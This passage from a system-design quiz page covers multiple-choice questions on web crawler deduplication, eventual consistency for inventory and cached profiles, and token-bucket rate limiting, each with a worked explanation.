       Identify as a bot in User-Agent header
    
    Distributed work:
       Partition URLs by domain hash → each worker owns specific domains
       → No two workers crawl the same domain simultaneously
       → Natural politeness enforcement
    • A.The main challenge is parsing HTML — regex-based parsing handles all edge cases efficiently.
    • B.Web crawling requires a graph database to store the link graph between pages.
    • C.The main challenge is deduplication at scale — a Bloom filter (probabilistic) or distributed set tracks visited URLs to prevent re-crawling, combined with a frontier queue to distribute work across crawler nodes.
    • D.The main challenge is server-side rendering — crawlers must execute JavaScript to see page content.
    Show answer

    Answer: C. The main challenge is deduplication at scale — a Bloom filter (probabilistic) or distributed set tracks visited URLs to prevent re-crawling, combined with a frontier queue to distribute work across crawler nodes.

    Scale numbers: Google's crawler (Googlebot) processes billions of pages. It uses priority queues — freshness signals (how often a page changes) determine crawl frequency. News sites are re-crawled every few minutes; old blog posts every few months. ---

    From the quiz Architecture Case Studies

  8. 25.An e-commerce platform uses eventual consistency for inventory. A product has 1 item left. Two users simultaneously add it to their cart. What can happen and what must the system handle?

    javascript
    Scenario with 2 replicas (R1 and R2), inventory = 1:
    
      User A reads R1: stock = 1 → adds to cart
      User B reads R2: stock = 1 → adds to cart (concurrent)
    
      Both writes committed locally on their respective replicas.
      Replication runs: conflict! Both decremented from 1.
      Final inventory: -1 (oversold)
    
    Resolution strategies:
    
      1. Conflict detection + compensation:
         Detect oversell during order confirmation.
         Cancel one order; send apology email + coupon.
         Amazon uses this for inventory management.
    
      2. Last-writer-wins (LWW):
         Timestamp-based: whichever write is newer wins.
         One user's cart update is silently overwritten.
         Risk: data loss without notification.
    
      3. Vector clock merge:
         Application logic decides how to merge conflicting writes.
         Shopping cart: union of items (Amazon Dynamo paper approach).
    
      4. Conditional writes / Compare-and-swap:
         "UPDATE inventory SET stock = 0 WHERE stock = 1 AND ..."
         Only one of the two concurrent writes succeeds (atomic CAS).
         Turns eventual into optimistic locking — stronger guarantee.
    • A.Only one user can add the item — eventual consistency prevents concurrent writes.
    • B.Both users may successfully add the item to their cart because each replica shows 1 available; the conflict is detected and one order must be cancelled, requiring a compensating transaction.
    • C.The system will queue one request and process them serially without conflict.
    • D.Eventual consistency guarantees that inventory never goes negative.
    Show answer

    Answer: B. Both users may successfully add the item to their cart because each replica shows 1 available; the conflict is detected and one order must be cancelled, requiring a compensating transaction.

    The tradeoff: Strong consistency for inventory = no overselling but slower checkout (database must acquire locks). Eventual + compensation = fast checkout but requires business logic to handle overselling. ---

    From the quiz Consistency Patterns

  9. 26.Your distributed cache has 3 replicas. A user updates their profile. Under eventual consistency, what can happen and how do you handle it?

    javascript
    Timeline:
    t=0ms:  Write user.name="Alice" → Replica 1 updated
    t=50ms: Read from Replica 2 → returns "Bob" (stale!) ← inconsistency window
    t=100ms: Replica 2 receives update → now returns "Alice"
    • A.Under eventual consistency, the update is rejected until all replicas confirm it.
    • B.Eventual consistency only applies to cache systems, not databases.
    • C.Eventual consistency means data is eventually deleted if not accessed frequently.
    • D.Under eventual consistency, different replicas may temporarily return different values. You handle it with versioning or read-your-own-writes guarantees.
    Show answer

    Answer: D. Under eventual consistency, different replicas may temporarily return different values. You handle it with versioning or read-your-own-writes guarantees.

    In an eventually consistent system, writes propagate asynchronously: Handling strategies: 1. Read-your-own-writes: after a write, route the same user's reads to the same replica for a short period: 2. Versioning / Vector clocks: attach a version to each write. Readers can detect stale data. 3. Sticky sessions: route a user's requests to the same server for a session. 4. Accept staleness: for non-critical data (view counts, likes), eventual consistency is fine. Codejump: PostgreSQL primary + read replicas. Plan upgrades always write to primary and read from primary immediately after (critical path). Analytics queries use replicas. ---

    From the quiz Large-Scale Architecture

  10. 27.The Token Bucket rate limiting algorithm allows bursts while enforcing an average rate. How does it work?

    javascript
    Token Bucket (10 req/s, burst capacity 20):
    
      Bucket: [●●●●●●●●●●●●●●●●●●●●] 20 tokens (full)
    
      User sends 15 requests in 0.1 seconds (burst):
        15 tokens consumed → bucket: [●●●●●] 5 tokens
        All 15 requests allowed! (burst capacity honored)
    
      Tokens refill: +10 tokens/second
      After 1.5 seconds: bucket is full again at 20
    
      User sends 30 requests in 0.1 seconds (too many):
        20 tokens consumed → bucket empty
        10 requests rejected with 429 Too Many Requests
    • A.A fixed number of requests are allowed per time window; once the window is full, all requests wait for the next window.
    • B.Requests are queued in a fixed-size buffer and processed at a constant rate regardless of arrival pattern.
    • C.Each request removes one token; tokens are added at a fixed rate up to a maximum bucket size. Requests are rejected when the bucket is empty.
    • D.Tokens represent CPU time; the bucket tracks how much CPU each user has consumed.
    Show answer

    Answer: C. Each request removes one token; tokens are added at a fixed rate up to a maximum bucket size. Requests are rejected when the bucket is empty.

    Comparison with Leaky Bucket:
    • Token Bucket: Allows bursts up to bucket size; tokens accumulate during idle periods
    • Leaky Bucket: Processes requests at exactly constant rate; excess queued or dropped — smoother output Fixed Window counter (simpler but flawed): 100 req/min limit. User sends 100 at 00:59 and 100 at 01:01. Both windows are within limit, but 200 requests hit the server in 2 seconds at the boundary — 2× the intended rate. Sliding Window log: Most accurate, tracks exact timestamps of requests. Higher memory usage. Redis implementation: ---

    From the quiz Microservices Patterns

Practise 250+ more System Design questions

Timed quizzes with instant feedback, the questions you miss coming back until they stick, coding challenges and AI mock interviews — free to start.